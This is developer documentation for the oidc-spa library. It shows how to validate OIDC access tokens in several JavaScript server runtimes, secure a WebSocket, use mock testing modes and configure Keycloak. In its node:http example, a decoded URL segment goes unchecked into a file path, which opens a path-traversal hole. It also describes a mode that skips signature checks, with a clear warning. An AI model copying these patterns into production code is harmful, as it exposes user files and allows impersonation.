<strong>import { bootstrapAuth, getUser } from "./auth"; // See below
</strong>
function startHonoServer() {

<strong>    bootstrapAuth({
</strong><strong>        implementation: "real", // or "mock", see: https://docs.oidc-spa.dev/v/v8/integration-guides/backend-token-validation/mock-modes
</strong><strong>        issuerUri: process.env.OIDC_ISSUER_URI!,
</strong><strong>        expectedAudience: process.env.OIDC_AUDIENCE
</strong><strong>    });
</strong>
    const app = new Hono();

    app.get("/api/todos", async c => {

<strong>        const user = await getUser({ req: c.req });
</strong>
        const json = await fs.readFile(`todos_${user.id}.json`, "utf8");

        return c.text(json);

    });

    app.get("/api/todos-for-support/:userId", async c => {

        // Will reject the request if user making the request
        // doesn't have "support-staff" role
<strong>        await getUser({ req: c.req, requiredRole: "support-staff" });
</strong>
        const userId = c.req.param("userId");

        const json = await fs.readFile(`todos_${userId}.json`, "utf8");

        return c.text(json);

    });

    // ...

}
</code></pre>

Let's see how to export the utils to make it happen:

{% code title="src/auth.ts" %}

```ts
import { oidcSpa, extractRequestAuthContext } from "oidc-spa/server";
import { z } from "zod";
import { HTTPException } from "hono/http-exception";
import type { HonoRequest } from "hono";

const { bootstrapAuth, validateAndDecodeAccessToken } = oidcSpa
    .withExpectedDecodedAccessTokenShape({
        // This is purely declarative. Here you'll specify
        // the claim that you expect to be present in the access token payload.
        decodedAccessTokenSchema: z.object({
            sub: z.string(),
            name: z.string(),
            email: z.string().optional(),
            // Keycloak specific, convention to manage authorization.
            realm_access: z.object({
                roles: z.array(z.string())
            }).optional()
        })
    })
    .createUtils();

export { bootstrapAuth };

// Your local representation of a user.
export type User = {
    id: string;
    name: string;
    email: string | undefined;
};

export async function getUser(params: {
    req: HonoRequest;
    requiredRole?: "realm-admin" | "support-staff";
}): Promise<User> {

    const { req, requiredRole } = params;

    const requestAuthContext = extractRequestAuthContext({
        request: req,
        // Set this to false only if you don't have a reverse HTTP proxy in front of your 
        // server. (Almost never the case in modern deployments).
        trustProxy: true
    });

    if( !requestAuthContext ){
        // Demo shortcut: we return 401 on missing Authorization, but a mixed
        // public/private endpoint could instead return undefined here and let
        // the caller decide whether to process an anonymous request.
        console.warn("Anonymous request");
        throw new HTTPException(401); // Unauthorized
    }

    if (!requestAuthContext.isWellFormed) {
        console.warn(requestAuthContext.debugErrorMessage);
        throw new HTTPException(400); // Bad Request
    }

    const { isSuccess, debugErrorMessage, decodedAccessToken } =
        await validateAndDecodeAccessToken(
            requestAuthContext.accessTokenAndMetadata
        );

    if (!isSuccess) {
        console.warn(debugErrorMessage);
        throw new HTTPException(401); // Unauthorized
    }

    // Your custom Authorization logic: Grant per request access depending
    // on the access token claim.
    if (requiredRole) {
        if (!decodedAccessToken.realm_access?.roles.includes(requiredRole)) {
            console.warn(`User missing role: ${requiredRole}`);
            throw new HTTPException(403); // Forbidden
        }
    }

    // Here you can potentially enrich the user object with additional 
    // data that you would retrieve from your database if the access token
    // claim does not contain everything you need.  

    const { sub, name, email } = decodedAccessToken;

    const user: User = { id: sub, name, email };

    return user;
}
```

{% endcode %}


# node:http

This is how your API handler would typically look like:

<pre class="language-ts" data-title="src/main.ts"><code class="lang-ts">import { createServer } from "node:http";
import { parse } from "node:url";
import * as fs from "node:fs/promises";
<strong>import { bootstrapAuth, getUser } from "./auth"; // See below
</strong>
function startNodeServer() {

<strong>    bootstrapAuth({
</strong><strong>        implementation: "real", // or "mock", see: https://docs.oidc-spa.dev/v/v8/integration-guides/backend-token-validation/mock-modes
</strong><strong>        issuerUri: process.env.OIDC_ISSUER_URI!,
</strong><strong>        expectedAudience: process.env.OIDC_AUDIENCE
</strong><strong>    });
</strong>
    const server = createServer(async (req, res) => {

        const { pathname } = parse(req.url!, true);

        if (req.method === "GET" &#x26;&#x26; pathname === "/api/todos") {

<strong>            const user = await getUser({ req, res });
</strong>
            const json = await fs.readFile(
<strong>                `todos_${user.id}.json`,
</strong>                "utf8"
            );

            res.writeHead(200, { "Content-Type": "application/json" });
            res.end(json);

            return;

        }

        if (
            req.method === "GET" &#x26;&#x26;
            pathname?.startsWith("/api/todos-for-support/")
        ) {

<strong>            // Will reject the request if user making the request
</strong><strong>            // doesn't have "support-staff" role
</strong><strong>            await getUser({ req, res, requiredRole: "support-staff" });
</strong>
            const userId = decodeURIComponent(
                pathname.replace("/api/todos-for-support/", "")
            );

            const json = await fs.readFile(
                `todos_${userId}.json`,
                "utf8"
            );

            res.writeHead(200, { "Content-Type": "application/json" });
            res.end(json);

            return;

        }

        res.writeHead(404).end();
    });

    server.listen(parseInt(process.env.PORT ?? "3000"), () => {
        console.log("Server running");
    });

}
</code></pre>

Let's see how to export the utils to make it happen:

{% code title="src/auth.ts" %}

```ts
import { oidcSpa, extractRequestAuthContext } from "oidc-spa/server";
import { z } from "zod";
import type { IncomingMessage } from "node:http";
import type { ServerResponse } from "node:http";

const { bootstrapAuth, validateAndDecodeAccessToken } = oidcSpa
    .withExpectedDecodedAccessTokenShape({
        // This is purely declarative. Here you'll specify
        // the claim that you expect to be present in the access token payload.
        decodedAccessTokenSchema: z.object({
            sub: z.string(),
            name: z.string(),
            email: z.string().optional(),
            // Keycloak specific, convention to manage authorization.
            realm_access: z.object({
                roles: z.array(z.string())
            }).optional()
        })
    })
    .createUtils();

export { bootstrapAuth };

// Your local representation of a user.
export type User = {
    id: string;
    name: string;
    email: string | undefined;
};

export async function getUser(params: {
    req: IncomingMessage;
    res: ServerResponse;
    requiredRole?: "realm-admin" | "support-staff";
}): Promise<User | never> {

    const { req, res, requiredRole } = params;

    const bail = (statusCode: 400 | 401 | 403) => {
        res.writeHead(statusCode).end();
        return new Promise<never>(() => {});
    };

    const requestAuthContext = extractRequestAuthContext({
        request: req,
        // Set this to false only if you don't have a reverse HTTP proxy in front of your 
        // server. (Almost never the case in modern deployments).
        trustProxy: true
    });

    if( !requestAuthContext ){
        // Demo shortcut: we return 401 on missing Authorization, but a mixed
        // public/private endpoint could instead return undefined here and let
        // the caller decide whether to process an anonymous request.
        console.warn("Anonymous request");
        return bail(401); // Unauthorized
    }

    if (!requestAuthContext.isWellFormed) {
        console.warn(requestAuthContext.debugErrorMessage);
        return bail(400); // Bad Request
    }

    const { isSuccess, debugErrorMessage, decodedAccessToken } =
        await validateAndDecodeAccessToken(
            requestAuthContext.accessTokenAndMetadata
        );

    if (!isSuccess) {
        console.warn(debugErrorMessage);
        return bail(401); // Unauthorized
    }

    // Your custom Authorization logic: Grant per request access depending
    // on the access token claim.
    if (requiredRole) {
        if (!decodedAccessToken.realm_access?.roles.includes(requiredRole)) {
            console.warn(`User missing role: ${requiredRole}`);
            return bail(403); // Forbidden
        }
    }

    // Here you can potentially enrich the user object with additional 
    // data that you would retrieve from your database if the access token
    // claim does not contain everything you need.  

    const { sub, name, email } = decodedAccessToken;

    const user: User = { id: sub, name, email };

    return user;
}
```

{% endcode %}


# Deno.serve

This is how your API handler would typically look like:

<pre class="language-ts" data-title="src/main.ts"><code class="lang-ts"><strong>import { bootstrapAuth, getUser } from "./auth.ts"; // See below
</strong>
bootstrapAuth({
    implementation: "real", // or "mock", see: https://docs.oidc-spa.dev/v/v8/integration-guides/backend-token-validation/mock-modes
    issuerUri: Deno.env.get("OIDC_ISSUER_URI")!,
    expectedAudience: Deno.env.get("OIDC_AUDIENCE") ?? undefined
});

Deno.serve(async (request: Request) => {
    const url = new URL(request.url);

    if (request.method === "GET" &#x26;&#x26; url.pathname === "/api/todos") {

<strong>        const user = await getUser({ req: request });
</strong>
<strong>        // We got an exception, validation failed
</strong><strong>        if (user instanceof Response) {
</strong><strong>            const response = user;
</strong><strong>            return response;
</strong><strong>        }
</strong>
        const json = await Deno.readTextFile(
<strong>            `todos_${user.id}.json`
</strong>        );

        return new Response(json, {
            status: 200,
            headers: { "content-type": "application/json" }
        });

    }

    /**
     * Support staff endpoint.
     * Example: GET /api/todos/1234
     */
    if (request.method === "GET" &#x26;&#x26; url.pathname.startsWith("/api/todos/")) {
        let userId: string;

        try {
            userId = decodeURIComponent(url.pathname.replace("/api/todos/", ""));
        } catch {
            return new Response("bad request", { status: 400 });
        }

        if (!userId || userId.includes("/")) {
            return new Response("bad request", { status: 400 });
        }
        
        {

<strong>            // Will reject the request if user making the request
</strong><strong>            // doesn't have "support-staff" role
</strong><strong>            const user = await getUser({ req: request, requiredRole: "support-staff" });
</strong>    
<strong>            // We got an exception, validation failed
</strong><strong>            if (user instanceof Response) {
</strong><strong>                const response = user;
</strong><strong>                return response;
</strong><strong>            }
</strong>        
        }

<strong>        const json = await Deno.readTextFile(`todos_${userId}.json`);
</strong>
        return new Response(json, {
            status: 200,
            headers: { "content-type": "application/json" }
        });
    }

    return new Response("not found", { status: 404 });
});
</code></pre>

Let's see how to export the utils to make it happen:

{% code title="src/auth.ts" %}

```ts
import { oidcSpa, extractRequestAuthContext } from "npm:oidc-spa@latest/server";
import { z } from "npm:zod@latest";

const { bootstrapAuth, validateAndDecodeAccessToken } = oidcSpa
    .withExpectedDecodedAccessTokenShape({
        // This is purely declarative. Here you'll specify
        // the claim that you expect to be present in the access token payload.
        decodedAccessTokenSchema: z.object({
            sub: z.string(),
            name: z.string(),
            email: z.string().optional(),
            // Keycloak specific, convention to manage authorization.
            realm_access: z.object({
                roles: z.array(z.string())
            }).optional()
        })
    })
    .createUtils();

export { bootstrapAuth };

// Your local representation of a user.
export type User = {
    id: string;
    name: string;
    email: string | undefined;
};

export async function getUser(params: {
    req: Request;
    requiredRole?: "realm-admin" | "support-staff";
}): Promise<User | Response> {

    const { req, requiredRole } = params;

    const requestAuthContext = extractRequestAuthContext({
        request: req,
        // Set this to false only if you don't have a reverse HTTP proxy in front of your
        // server. (Almost never the case in modern deployments).
        trustProxy: true
    });

    if (!requestAuthContext) {
        // Demo shortcut: we return 401 on missing Authorization, but a mixed
        // public/private endpoint could instead return undefined here and let
        // the caller decide whether to process an anonymous request.
        console.warn("Anonymous request");
        return new Response("unauthorized", { status: 401 });
    }

    if (!requestAuthContext.isWellFormed) {
        console.warn(requestAuthContext.debugErrorMessage);
        return new Response("bad request", { status: 400 });
    }

    const { isSuccess, debugErrorMessage, decodedAccessToken } =
        await validateAndDecodeAccessToken(
            requestAuthContext.accessTokenAndMetadata
        );

    if (!isSuccess) {
        console.warn(debugErrorMessage);
        return new Response("unauthorized", { status: 401 });
    }

    // Your custom Authorization logic: Grant per request access depending
    // on the access token claim.
    if (requiredRole) {
        if (!decodedAccessToken.realm_access?.roles.includes(requiredRole)) {
            console.warn(`User missing role: ${requiredRole}`);
            return new Response("forbidden", { status: 403 });
        }
    }

    // Here you can potentially enrich the user object with additional
    // data that you would retrieve from your database if the access token
    // claim does not contain everything you need.

    const { sub, name, email } = decodedAccessToken;

    const user: User = { id: sub, name, email };

    return user;
}
```

{% endcode %}


# Bun.serve

Woks exactly the same as Deno except it's Bun.serve instead of Deno.serve and you don't need the "npm:" prefix to import oidc-spa:

{% content-ref url="/pages/d2qm0aCjKdy6kvR8uvUR" %}
[Deno.serve](/v9/integration-guides/backend-token-validation/deno.serve)
{% endcontent-ref %}


# Cloudflare Workers

This is how your API handler would typically look like:

<pre class="language-ts" data-title="src/worker.ts"><code class="lang-ts"><strong>import { bootstrapAuth, getUser } from "./auth"; // See below
</strong>
type Env = {
    OIDC_ISSUER_URI: string;
    OIDC_AUDIENCE?: string;
};

let isBootstrapped = false;

function ensureBootstrapped(env: Env) {
    if (isBootstrapped) {
        return;
    }

<strong>    bootstrapAuth({
</strong><strong>        implementation: "real", // or "mock", see: https://docs.oidc-spa.dev/v/v8/integration-guides/backend-token-validation/mock-modes
</strong><strong>        issuerUri: env.OIDC_ISSUER_URI,
</strong><strong>        expectedAudience: env.OIDC_AUDIENCE ?? undefined
</strong><strong>    });
</strong>
    isBootstrapped = true;
}

export default {
    async fetch(request: Request, env: Env): Promise&#x3C;Response> {
        ensureBootstrapped(env);

        const url = new URL(request.url);

        if (request.method === "GET" &#x26;&#x26; url.pathname === "/api/todos") {

<strong>            const user = await getUser({ req: request });
</strong>
<strong>            // We got a Response, validation failed
</strong><strong>            if (user instanceof Response) {
</strong><strong>                return user;
</strong><strong>            }
</strong>
            // Replace this with KV / D1 / R2 / your DB call.
            const json = JSON.stringify([
                { id: "1", label: "Write documentation", ownerId: user.id }
            ]);

            return new Response(json, {
                status: 200,
                headers: { "content-type": "application/json" }
            });
        }

        /**
         * Support staff endpoint.
         * Example: GET /api/todos-for-support/1234
         */
        if (
            request.method === "GET" &#x26;&#x26;
            url.pathname.startsWith("/api/todos-for-support/")
        ) {
            let userId: string;

            try {
                userId = decodeURIComponent(
                    url.pathname.replace("/api/todos-for-support/", "")
                );
            } catch {
                return new Response("bad request", { status: 400 });
            }

            if (!userId || userId.includes("/")) {
                return new Response("bad request", { status: 400 });
            }

            {
<strong>                // Will reject the request if user making the request
</strong><strong>                // doesn't have "support-staff" role
</strong><strong>                const user = await getUser({
</strong><strong>                    req: request,
</strong><strong>                    requiredRole: "support-staff"
</strong><strong>                });
</strong>
<strong>                if (user instanceof Response) {
</strong><strong>                    return user;
</strong><strong>                }
</strong>            }

            // Replace this with KV / D1 / R2 / your DB call.
            const json = JSON.stringify([
                { id: "1", label: "Support view", ownerId: userId }
            ]);

            return new Response(json, {
                status: 200,
                headers: { "content-type": "application/json" }
            });
        }

        return new Response("not found", { status: 404 });
    }
};
</code></pre>

### Auth utilities

Let’s see how to export the utils to make it happen:

{% code title="src/auth.ts" %}

```ts
import { oidcSpa, extractRequestAuthContext } from "oidc-spa/server";
import { z } from "zod";

const { bootstrapAuth, validateAndDecodeAccessToken } = oidcSpa
    .withExpectedDecodedAccessTokenShape({
        // This is purely declarative. Here you'll specify
        // the claim that you expect to be present in the access token payload.
        decodedAccessTokenSchema: z.object({
            sub: z.string(),
            name: z.string(),
            email: z.string().optional(),
            // Keycloak specific, convention to manage authorization.
            realm_access: z
                .object({
                    roles: z.array(z.string())
                })
                .optional()
        })
    })
    .createUtils();

export { bootstrapAuth };

// Your local representation of a user.
export type User = {
    id: string;
    name: string;
    email: string | undefined;
};

export async function getUser(params: {
    req: Request;
    requiredRole?: "realm-admin" | "support-staff";
}): Promise<User | Response> {

    const { req, requiredRole } = params;

    const requestAuthContext = extractRequestAuthContext({
        request: req,
        // Cloudflare Workers are always behind a reverse proxy.
        // This affects things like the computed request origin.
        trustProxy: true
    });

    if (!requestAuthContext) {
        console.warn("Anonymous request");
        return new Response("unauthorized", { status: 401 });
    }

    if (!requestAuthContext.isWellFormed) {
        console.warn(requestAuthContext.debugErrorMessage);
        return new Response("bad request", { status: 400 });
    }

    const { isSuccess, debugErrorMessage, decodedAccessToken } =
        await validateAndDecodeAccessToken(requestAuthContext.accessTokenAndMetadata);

    if (!isSuccess) {
        console.warn(debugErrorMessage);
        return new Response("unauthorized", { status: 401 });
    }

    // Your custom Authorization logic: Grant per request access depending
    // on the access token claim.
    if (requiredRole) {
        if (!decodedAccessToken.realm_access?.roles.includes(requiredRole)) {
            console.warn(`User missing role: ${requiredRole}`);
            return new Response("forbidden", { status: 403 });
        }
    }

    const { sub, name, email } = decodedAccessToken;

    const user: User = { id: sub, name, email };

    return user;
}
```

{% endcode %}


# Vercel Edge

See (it works the same):

{% content-ref url="/pages/7iLCD0QZbmGywDt5qJd7" %}
[Cloudflare Workers](/v9/integration-guides/backend-token-validation/cloudflare-workers)
{% endcontent-ref %}


# WebSocket

Securing a WebSocket connection

Here’s how to secure a WebSocket connection.\
We’ll review a minimal real-time chat example.\
The server simply echoes back what you send.

This is what we’re building:

{% embed url="<https://youtu.be/tEdYRUcAxFA>" %}

You can test it live here:

{% embed url="<https://vite-insee-starter.demo-domain.ovh/chat>" %}

This example uses Node.js + Hono.\
We don’t provide a framework-by-framework (or runtime-by-runtime) guide yet.\
But you should be able to adapt the same approach to your environment.

{% hint style="info" %}
Key takeaways:

* Authentication happens when handling the HTTP upgrade request.
* Browsers don’t let you attach custom headers to a WebSocket upgrade request. Use the `protocols` parameter to carry the access token, then read it server-side from `Sec-WebSocket-Protocol`.
* WebSocket upgrades are **out of scope for DPoP**. There’s no RFC-defined way to send and validate a DPoP proof on the upgrade request. In practice, you must skip DPoP proof validation for the upgrade (`rejectIfAccessTokenDPoPBound: false`). If you need DPoP-grade guarantees on the socket, add an application-level handshake (off-channel).
  {% endhint %}

### Server-side code

[Source code](https://github.com/InseeFrLab/todo-rest-api/blob/e00a8a6ed95514c6be4b210506a22b0f0acf24a0/src/main.ts#L36-L53)

<pre class="language-typescript" data-title="src/main.ts"><code class="lang-typescript">import { Hono } from "hono";
<strong>import { createNodeWebSocket } from "@hono/node-ws";
</strong>import { serve } from "@hono/node-server";
import { bootstrapAuth, getUser, getUser_ws } from "./auth"; // See below

function startHonoServer() {

    bootstrapAuth({
        implementation: "real", // or "mock", see: https://docs.oidc-spa.dev/v/v8/integration-guides/backend-token-validation/mock-modes
        issuerUri: process.env.OIDC_ISSUER_URI!,
        expectedAudience: process.env.OIDC_AUDIENCE
    });

    const app = new Hono();

    app.get("/api/todos", async c => { /* ... */ });
    
<strong>    const { injectWebSocket, upgradeWebSocket } = createNodeWebSocket({ app });
</strong>
<strong>    app.get(
</strong><strong>        "/ws",
</strong><strong>        upgradeWebSocket(async c => {
</strong>
<strong>            const user = await getUser_ws({ req: c.req });
</strong>
<strong>            return {
</strong><strong>                onOpen: (_event, ws) => {
</strong><strong>                    ws.send(`Hello ${user.name}`);
</strong><strong>                },
</strong><strong>                onMessage(event, ws) {
</strong><strong>                    ws.send(`I'm not very smart, all I can do is repeat: "${event.data}"`);
</strong><strong>                }
</strong><strong>            };
</strong><strong>        })
</strong><strong>    );
</strong>    
    const server = serve({
        fetch: app.fetch,
        port
    });

<strong>    injectWebSocket(server);
</strong>
}
</code></pre>

Auth utilities:

[Source code](https://github.com/InseeFrLab/todo-rest-api/blob/e00a8a6ed95514c6be4b210506a22b0f0acf24a0/src/auth.ts#L95-L139)

{% code title="src/auth.ts" %}

```typescript
import { oidcSpa, extractRequestAuthContext } from "oidc-spa/server";
import { z } from "zod";
import { HTTPException } from "hono/http-exception";
import type { HonoRequest } from "hono";

const { bootstrapAuth, validateAndDecodeAccessToken } = oidcSpa
    .withExpectedDecodedAccessTokenShape({
        decodedAccessTokenSchema: z.object({
            sub: z.string(),
            name: z.string(),
            email: z.string().optional(),
            realm_access: z
                .object({
                    roles: z.array(z.string())
                })
                .optional()
        })
    })
    .createUtils();

export { bootstrapAuth };

export type User = {
    id: string;
    name: string;
    email: string | undefined;
};

export async function getUser(/* ... */): Promise<User> { /* ... */ }

export async function getUser_ws(params: { req: HonoRequest }) {
    const { req } = params;

    const value = req.header("Sec-WebSocket-Protocol");

    if (value === undefined) {
        throw new HTTPException(400); // Bad Request
    }

    const accessToken = value
        .split(",")
        .map(p => p.trim())
        .map(p => {
            const match = p.match(/^authorization_bearer_(.+)$/);

            if (match === null) {
                return undefined;
            }

            return match[1];
        })
        .filter(t => t !== undefined)[0];

    if (accessToken === undefined) {
        throw new HTTPException(400); // Bad Request
    }

    const { isSuccess, debugErrorMessage, decodedAccessToken } =
        await validateAndDecodeAccessToken({
            scheme: "Bearer",
            accessToken,
            // NOTE: WebSocket upgrades are out of scope for DPoP.
            // There's no RFC-defined way to send and validate a DPoP proof
            // on the WebSocket Upgrade request.
            // We accept the access token as bearer-like for the WS upgrade only.
            // If you need DPoP-grade guarantees on the socket, add an app-level handshake.
            rejectIfAccessTokenDPoPBound: false
        });

    if (!isSuccess) {
        console.warn(debugErrorMessage);
        throw new HTTPException(401); // Unauthorized
    }

    const { sub, name, email } = decodedAccessToken;

    const user: User = {
        id: sub,
        name,
        email
    };

    return user;
}
```

{% endcode %}

### Client-side code

[Source code](https://github.com/InseeFrLab/vite-insee-starter/blob/053da1b58e76a783aaa36dba1f371f2c46810c32/src/chat.ts#L28-L39)

<pre class="language-typescript" data-title=""><code class="lang-typescript">import { Evt, type StatefulReadonlyEvt } from "evt";
import { getOidc } from "~/oidc";
import { assert } from "tsafe";

export type Chat = {
    evtMessages: StatefulReadonlyEvt&#x3C;Chat.Message[]>;
    sendMessage: (message: string) => void;
};

export namespace Chat {
    export type Message = {
        origin: "client" | "server";
        message: string;
    };
}

function createChat(): Chat {
    const evtMessages = Evt.create&#x3C;Chat.Message[]>([]);

    const dSocket = Promise.withResolvers&#x3C;WebSocket>();

    (async () => {
        const oidc = await getOidc();

        assert(oidc.isUserLoggedIn);

<strong>        const url = new URL(import.meta.env.VITE_TODOS_API_URL); // ex: https://api.my-company.com
</strong>
<strong>        url.protocol = url.protocol === "https:" ? "wss:" : "ws:";
</strong>
<strong>        url.pathname += "ws";
</strong>
<strong>        const socket = new WebSocket(
</strong><strong>            url.href, // ex: wss://api.my-company.com/ws
</strong><strong>            
</strong><strong>            // NOTE: This is a common workaround to the fact that the WebSocket API
</strong><strong>            // does not allow to set custom headers to the UPGRADE request.
</strong><strong>            // So we use the protocol and on the server read the Sec-WebSocket-Protocol header.
</strong><strong>            [`authorization_bearer_${await oidc.getAccessToken()}` ]
</strong><strong>        );
</strong>
        socket.addEventListener("message", event => {
            evtMessages.state = [
                ...evtMessages.state,
                {
                    origin: "server",
                    message: event.data
                }
            ];
        });

        socket.addEventListener("error", err => {
            console.error("socket error", err);
            dSocket.reject(err);
        });

        socket.addEventListener("open", ()=> {
            dSocket.resolve(socket);
        });
    })();

    return {
        evtMessages,
        sendMessage: async message => {
            evtMessages.state = [
                ...evtMessages.state,
                {
                    origin: "client",
                    message
                }
            ];
            const socket = await dSocket.promise;
            socket.send(message);
        }
    };
}

let chat: Chat | undefined = undefined;

export function getChat() {
    if (chat === undefined) {
        chat = createChat();
    }
    return chat;
}

</code></pre>

The source of the React component that consumes `getChat` is [here](https://github.com/InseeFrLab/vite-insee-starter/blob/053da1b58e76a783aaa36dba1f371f2c46810c32/src/routes/chat.tsx#L18-L83).


# Mock Modes

{% hint style="info" %}
This is the server-side mock mode.\
If you’re looking for the frontend mock mode, see [the project example for your stack](/v9/integration-guides/example-setups).
{% endhint %}

`oidc-spa/server` provides two modes to facilitate backend unit testing.

These modes help you run tests in a reproducible way, without fetching the public key from a real IdP.

## Static identity

In this mode, `oidc-spa/server` ignores the provided token.\
It behaves as if every request comes from a user with the identity you define.

```typescript
bootstrapAuth({
    implementation: "mock",
    behavior: "use static identity",
    decodedAccessToken_mock: {
        sub: "123",
        name: "John Doe",
        email: "john.doe@gmail.com",
        realm_access: {
            roles: ["realm-admin", "support-staff"]
        }
    }
});
```

## Decode only

{% hint style="danger" %}
WARNING: If you accidentally ship this mode to production, it’s catastrophic.\
Everything will appear to work, but an attacker can impersonate anyone.
{% endhint %}

In this mode, `oidc-spa/server` decodes the access token payload, but skips all cryptographic validation.\
This is useful if you’ve saved tokens for unit tests and want those tests to keep working long after the tokens expire.

```typescript
bootstrapAuth({
    implementation: "mock",
    behavior: "decode only",
});
```


# Provider configuration

{% content-ref url="/pages/5gpZtUHNuQnwl8hxu3YC" %}
[Keycloak](/v9/providers-configuration/keycloak)
{% endcontent-ref %}

{% content-ref url="/pages/4lJxIBw85ly46Yw5FMsI" %}
[Auth0](/v9/providers-configuration/auth0)
{% endcontent-ref %}

{% content-ref url="/pages/Bd5Knc63f7JKWSZO9p42" %}
[Microsoft Entra ID](/v9/providers-configuration/microsoft-entra-id)
{% endcontent-ref %}

{% content-ref url="/pages/RzVNs4KHTWbpdCOaViUK" %}
[Clerk](/v9/providers-configuration/clerk)
{% endcontent-ref %}

{% content-ref url="/pages/WkfVnILqpMQsx4qIJPhd" %}
[Google OAuth 2.0](/v9/providers-configuration/google-oauth)
{% endcontent-ref %}

{% content-ref url="/pages/pgH35LSpFMSJsCaifWCU" %}
[Other OIDC Provider](/v9/providers-configuration/other)
{% endcontent-ref %}


# Keycloak

{% embed url="<https://youtu.be/qJOHjI_QKvk>" %}
oidc-spa with Keycloak
{% endembed %}

## Getting the `issuerUri` and `clientId`

`oidc-spa` requires two parameters to connect to your Keycloak instance: `issuerUri` and `clientId`.

```typescript
const { ... } = createOidc({
    issuerUri: "...",
    clientId: "...",
    // ...
});
```

### `issuerUri`

In Keycloak, the OIDC issuer URI follows this format:

**https\://**<mark style="color:blue;">**\<KC\_DOMAIN>**</mark><mark style="color:purple;">**\<KC\_RELATIVE\_PATH>**</mark>**/realms/**<mark style="color:green;">**\<REALM\_NAME>**</mark>

* <mark style="color:blue;">**\<KC\_DOMAIN>**</mark>: The domain where your Keycloak server is hosted (e.g., **auth.my-company.com**).
* <mark style="color:purple;">**\<KC\_RELATIVE\_PATH>**</mark>: The subpath under which Keycloak is hosted. In recent versions, this is an empty string (`""`). In older versions, it was `"/auth"`.\
  Check your Keycloak server configuration; this parameter is typically set using an environment variable:\
  Example: `-e KC_HTTP_RELATIVE_PATH=/auth`
* <mark style="color:green;">**\<REALM\_NAME>**</mark>: The name of your realm (e.g., **myrealm**).\
  🔹 **Important:** Always create a dedicated realm for your organization, **never use the master realm**.\
  To create a new realm:
  1. Open **https\://**<mark style="color:blue;">**\<KC\_DOMAIN>**</mark><mark style="color:purple;">**\<KC\_RELATIVE\_PATH>**</mark>**/admin/master/console**.
  2. Log in as an administrator.
  3. Click on the realm selector in the top-left corner.
  4. Click **"Create a new Realm"**, give it <mark style="color:green;">a name</mark>, and save.

### `clientId`

The `clientId` is usually something like '<mark style="color:yellow;">myapp</mark>'. Follow these steps to create a client for your app:

1. Open **https\://**<mark style="color:blue;">**\<KC\_DOMAIN>**</mark><mark style="color:purple;">**\<KC\_RELATIVE\_PATH>**</mark>**/admin/master/console**.
2. Log in as an administrator.
3. Select <mark style="color:green;">your realm</mark> from the top-left dropdown.
4. In the left panel, click **Clients**.
5. Click **Create Client**.
6. Enter a **Client ID**, for example, <mark style="color:yellow;">myapp</mark>, and click **Next**.
7. Ensure **Client Authentication** is **off**, and **Standard Flow** is enabled. Click **Next**.
8. Set two **Valid Redirect URIs,** ensure both URLs end with `/`:
   * **https\://**<mark style="color:orange;">**\<APP\_DOMAIN>**</mark><mark style="color:red;">**\<BASE\_URL>**</mark>
   * **<http://localhost:\\>\<DEV\_PORT>**<mark style="color:red;">**\<BASE\_URL>**</mark>
   * **Parameters:**
     * <mark style="color:orange;">**\<APP\_DOMAIN>**</mark>: Examples: **<https://my-company.com>** or **<https://app.my-company.com**.\\>
       🔹 For beter performances ensure <mark style="color:orange;">**\<APP\_DOMAIN>**</mark> and <mark style="color:blue;">**\<KC\_DOMAIN>\*\*</mark> share the same root domain (**my-company.com**). See [end of third party cookies](/v9/resources/end-of-third-party-cookies).
     * <mark style="color:red;">**\<BASE\_URL>**</mark>: Examples: **"/"** or **"/dashboard/"**.
     * **\<DEV\_PORT>**: Example: **5173** (default for Vite's dev server, adapt to your setup).
9. Click **Save**, and you're done! 🎉

***

## Session Lifespan Configuration

One important policy to define is how often users need to re-authenticate when visiting your site.

{% hint style="info" %}
This configuration does **not** affect the **access token lifetime** (default: 5 minutes). It controls how long Keycloak keeps **the session active**.
{% endhint %}

### 🔐 Security-Sensitive Apps (Banking, Admin Panels, etc.)

For security-critical apps, users should log in **each visit** and be **logged out** [**after inactivity**](#user-content-fn-1)[^1].

**Why?**\
Users accessing sensitive applications should not remain authenticated indefinitely, especially if they step away from their device. The session idle timeout ensures automatic logout after inactivity.

**Steps to enforce this policy:**

1. **Disable "Remember Me"**:
   * Select <mark style="color:green;">your realm</mark>.
   * Navigate to **Realm Settings** → **Login**.
   * Set **"Remember Me"** to **Off**.
2. **Configure session timeout**:
   * Go to **Realm Settings** → **Sessions**.
   * Set **SSO Session idle**: `5 minutes` (ensures users are logged out after 5 minutes of inactivity).
   * Set **SSO Session max idle**: `14 days` (ensures users who actively use the app don’t get logged out unnecessarily).
3. Optionally, display a logout countdown before automatic logout:

{% content-ref url="/pages/tpyBmXI4q9q1dCCuf6ZY" %}
[Auto Logout](/v9/features/auto-logout)
{% endcontent-ref %}

***

### 🛍️ Non-Sensitive Apps (E-commerce, Social Media, etc.)

For apps where users should remain logged in for **weeks or months** (e.g., YouTube-style behavior):

1. **Enable "Remember Me"**:
   * Select <mark style="color:green;">your realm</mark>.
   * Navigate to **Realm Settings** → **Login**.
   * Set **"Remember Me"** to **On**.
2. **Configure session timeout**:
   * Users **without** "Remember Me" will need to log in **every 2 weeks**:
     * Set **Session idle timeout**: `14 days`.
     * Set **Session max idle timeout**: `14 days`.
   * Users **who checked "Remember Me"** should stay logged in for **1 year**:
     * Set **Session idle timeout (Remember Me)**: `365 days`.
     * Set **Session max idle timeout (Remember Me)**: `365 days`.

***

## 🗑️ Allowing Users to Delete Their Own Accounts

By default, Keycloak **does not** allow users to delete their accounts.

If you implement a [delete account button](/v9/features/user-account-management), users will see an **"Action not permitted"** error.

Enabling Account Deletion:

1. Navigate to **Authentication** → **Required Actions**.
2. Enable **"Delete Account"**.
3. Go to **Realm Settings** → **User Registration** → **Default Roles**.
4. Click **Assign Role**, filter by **client**, select **Delete Account**, and assign it.

***

## Testing the Setup

To test your configuration:

```bash
npx degit https://github.com/keycloakify/oidc-spa/examples/tanstack-router-file-based oidc-spa-tanstack-router
cd oidc-spa-tanstack-router
cp .env.local.sample .env.local

# Edit the .env.local file to reflect your configuration

yarn
yarn dev
```

[^1]: The user is considered inactive by oidc-spa when it's not actively moving the mouse, touching the screen or typing on the keyboard in any tab of your app.\
    \
    (More precisely, on any tab of any app that use the same SSO session)


# Auth0

This guide explains how to configure Auth0 to obtain the necessary parameters for setting up `oidc-spa`.

{% embed url="<https://www.youtube.com/embed/zPikliLzC84?si=_bIUM5lxNwDIZ3eR>" %}

## Creating Your Application

1. Navigate to [Auth0 Dashboard](https://manage.auth0.com/dashboard).
2. In the left panel, go to **Applications → Applications**.
3. Click **Create Application**.
